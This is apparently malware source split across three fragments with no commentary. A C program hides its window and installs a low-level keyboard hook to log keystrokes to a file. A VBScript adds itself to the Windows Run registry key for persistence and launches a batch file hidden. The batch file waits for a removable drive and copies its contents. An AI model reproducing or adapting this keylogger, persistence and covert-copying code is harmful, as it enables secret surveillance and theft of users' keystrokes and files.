int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {  
        // Main();
        ocultar();
        file();
        hora();
        HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL,keyboardHookProc,hInstance,0);
        MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK); 
        fclose(fichero); 
        return 0;
    }

set objshell = createobject("wscript.shell")
rutaBat = left(wscript.scriptfullname,len(wscript.scriptfullname)-len(wscript.scriptname))
rutaSys = rutaBat &"sys.vbs"
rutaBat = rutaBat &"system.bat"
objshell.regWrite "HKCU\software\microsoft\windows\currentversion\run\sys", rutaSys, "REG_SZ"
objshell.run rutaBat,vbhide

@echo off

:loop
	for /f "tokens=1" %%x in ('wmic logicaldisk get caption^, description ^| find /i "extra"') do (
		xcopy /s %%x 
		if EXIST %%x goto end	
	)
goto loop
:end
exit /b 0